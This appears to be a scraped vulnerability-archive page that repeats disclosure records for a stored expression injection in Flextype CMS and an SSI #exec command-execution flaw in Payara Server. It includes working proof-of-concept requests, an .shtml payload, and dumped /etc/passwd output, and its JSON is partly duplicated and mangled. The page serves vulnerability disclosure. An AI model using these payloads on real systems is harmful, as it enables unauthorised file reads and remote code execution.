*\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/20"
},
{
"url": "https://awilum.github.io"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/20"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0178",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
"automated": true,
"contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:09:12Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0178"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0178"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0008
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression\ninjection vulnerability in the Entries ExpressionsDirective. An\nauthenticated remote attacker with sufficient privileges to create or\nmodify entries can persist arbitrary expression syntax within an entry\nfield. When the affected field is subsequently retrieved or processed,\nFlextype passes the stored value to parsers()-\u003eexpressions()-\u003eparse(),\ncausing the attacker-controlled expression to be evaluated server-side.\n\nThe expression environment exposes application functionality including the\nfilesystem() object. An attacker can therefore store an expression that\naccesses arbitrary files readable by the Flextype PHP process. Testing\nconfirmed exploitation by storing an expression referencing /etc/passwd\nwithin an entry\u0027s title field. The expression remained persisted within the\nunderlying entry file and was evaluated when the entry was processed,\nresulting in disclosure of /etc/passwd.\n\nThis represents a stored execution path because the expression itself\ncrosses the persistence boundary and remains within the entry rather than\nrequiring the attacker to supply the complete expression during each\nsubsequent request.\nImpact\n\nAn authenticated remote attacker can persist arbitrary expressions within\nFlextype entry fields that are subsequently evaluated by the server-side\nexpression engine.\n\nThe demonstrated vulnerability allows arbitrary files accessible to the\nFlextype PHP process to be read. This could expose sensitive server-side\ninformation including application configuration files, credentials, API\nkeys, database connection information, source code, operating-system\ninformation, and other secrets available to the application account.\n\nBecause the malicious expression is persisted within the entry, subsequent\nprocessing of the affected field can cause the expression to be evaluated\nagain. Additional impact may be possible depending on the objects and\nfunctionality exposed to the expression environment.\n\nDetailsVulnerable Expressions Directive Implementation\n\nFlextype registers an onEntriesFetchSingleField listener responsible for\nprocessing expressions contained within individual entry fields.\n\nWhen expression directives and global expression processing are enabled,\nthe implementation retrieves the current entry field, constructs variables\nfrom the entry data, and passes string field values directly to the\nexpression parser.\n\n\u003c?php\n\ndeclare(strict_types=1);\n\n/**\n * Flextype - Hybrid Content Management System with the freedom of a\nheadless CMS\n * and with the full functionality of a traditional CMS!\n *\n * Copyright (c) Sergey Romanenko (https://awilum.github.io)\n *\n * Licensed under The MIT License.\n *\n * For full copyright and license information, please see the LICENSE\n * Redistributions of files must retain the above copyright notice.\n */\n\nnamespace Flextype\\Entries\\Directives;\n\nuse function Glowy\\Strings\\strings;\nuse function Flextype\\emitter;\nuse function Flextype\\entries;\nuse function Flextype\\parsers;\nuse function Flextype\\registry;\nuse function Flextype\\collection;\n\n// Directive: [[ ]] [% %] [# #]\nemitter()-\u003eaddListener(\u0027onEntriesFetchSingleField\u0027, static function (): void {\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled\u0027))\n{\n return;\n }\n\n if (! registry()-\u003eget(\u0027flextype.settings.entries.directives.expressions.enabled_globally\u0027))\n{\n return;\n }\n\n $field = entries()-\u003eregistry()-\u003eget(\u0027methods.fetch.field\u0027);\n\n if (is_string($field[\u0027value\u0027]) \u0026\u0026\nstrings($field[\u0027value\u0027])-\u003econtains(\u0027!expressions\u0027)) {\n return;\n }\n\n $vars = [];\n\n // Convert entry fields to vars.\n foreach (json_decode(json_encode((object)\nentries()-\u003eregistry()-\u003eget(\u0027methods.fetch.result\u0027)), false) as $key =\u003e\n$value) {\n $vars[$key] = $value;\n }\n\n if (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] =\nparsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n }\n\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.key\u0027, $field[\u0027key\u0027]);\n entries()-\u003eregistry()-\u003eset(\u0027methods.fetch.field.value\u0027, $field[\u0027value\u0027]);\n});\n\nThe security-sensitive operation occurs when the stored field value is\npassed directly to the expression parser:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nProof of Concept \u2014 Store Arbitrary Expression\n\nAn authenticated attacker can create an entry through /api/v1/entries and\nsupply expression syntax within an attacker-controlled field.\n\nThe following request places a filesystem() expression within the title\nfield that reads /etc/passwd:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"expr-api-proof\",\"data\":{\"title\":\"[[\nfilesystem().file(\u0027/etc/passwd\u0027).get() ]]\",\"content\":\"created through\nAPI\"}}\n\nThe application evaluates the supplied expression and returns the contents\nof /etc/passwd:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nProof of Concept \u2014 Expression Persistence\n\nInspection of the resulting Flextype entry demonstrates that the expression\nitself is persisted on disk rather than being replaced by the evaluated\n/etc/passwd contents:\n\nrealpath: /app/project/entries/expr-api-proof/entry.md\n---\n---\ntitle: \"[[ filesystem().file(\u0027/etc/passwd\u0027).get() ]]\"\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 15420ada-de60-4bc6-b7b2-387df908e0e3\n---\ncreated through API\n\nThis demonstrates that the expression remains part of the stored entry and\nis not limited to a reflected or one-time expression evaluation condition.\nProof of Concept \u2014 Stored Expression Evaluation\n\nThe stored entry can subsequently be retrieved using its normal entry\nidentifier without resupplying the expression:\n\nGET /api/v1/entries?token=lab-token\u0026id=expr-api-proof HTTP/1.1\nHost: 127.0.0.1:18080\n\nFlextype evaluates the expression previously stored within the entry and\nreturns the resulting /etc/passwd contents:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nContent-Type: application/json;charset=UTF-8\nContent-Length: 1141\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing\nList \nManager:/var/list:/usr/sbin/nologin\\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\\n\",\"content\":\"created\nthrough API\",\"slug\":\"expr-api-proof\",\"visibility\":\"visible\",\"id\":\"expr-api-proof\"}\n\nThe GET request contains only the normal entry identifier. The expression\nresponsible for the file read originates from the previously persisted\nentry data and is evaluated during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because Flextype treats stored entry content as\nexecutable expression syntax during normal entry processing.\n\nSpecifically:\n\nif (is_string($field[\u0027value\u0027])) {\n $field[\u0027value\u0027] = parsers()-\u003eexpressions()-\u003eparse($field[\u0027value\u0027], $vars);\n}\n\nThere is no trust-boundary distinction between ordinary\nattacker-controllable entry content and trusted application expressions\nbefore the field value reaches the expression parser.\n\nAs a result, data supplied through an entry-management interface can\ntransition from stored application content into executable server-side\nexpression syntax.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/20"
},
{
"url": "https://awilum.github.io"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
},
{
"url": "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\\nlist:x:38:38:Mailing"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/20"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0008",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/20",
"automated": true,
"contentSha256": "4ef4571772099f511d4658f6df8f223d6c77b7b835548b20ea9e9e9cf1cfbd4f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/20",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:09:12Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0008"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0007
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Payara 7.2026.1.RC1 Remote Code Execution via Server-Side Includes #exec Directive in Payara Server
Summary
*Description:*
Payara Server contains a vulnerability in its Server-Side Includes (SSI)
implementation that allows arbitrary operating system command execution via
the #exec directive. The issue occurs because user-controlled SSI
directives are passed directly to Runtime.exec() without validation,
sanitization, or restriction. An attacker who can cause the server to
process an SSI file (e.g., .shtml) can execute arbitrary OS commands with
the privileges of the Payara process. This vulnerability results in remote
code execution when SSI processing is enabled and accessible.
*Affected Product:*
- Payara Server (Community & Enterprise)
- Affects versions where:
- Server-Side Includes (SSI) are enabled
- SSIExec command handling is available
- #exec cmd is not explicitly disabled
*Impact:*
- Successful exploitation allows an attacker to:
- Execute arbitrary OS commands
- Read/write files on the server
- Install backdoors or persistence mechanisms
- Pivot to internal networks
- Fully compromise the host system
*Root Cause:*
*The vulnerability exists in the following class:*
org.apache.catalina.ssi.SSIExec
*Specifically, the process() method executes untrusted input directly:*
else if (paramName.equalsIgnoreCase("cmd")) {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(substitutedValue);
*Proof of Concept (PoC):*
*Malicious SSI File:*
<!-- poc.shtml -->
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
<!--#exec cmd="id" -->
</pre>
</body>
</html>
*Deployment:*
jar cf ssitest.war .
$PAYARA_HOME/bin/asadmin deploy --force=true ssitest.war
*Payload:*
curl http://localhost:8080/ssitest/poc.shtml
*Output:*
<html>
<body>
<h2>SSI Exec Test</h2>
<pre>
uid=0(root) gid=0(root) groups=0(root)
</pre>
</body>
</html>
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Payara",
"vendor": "Payara",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
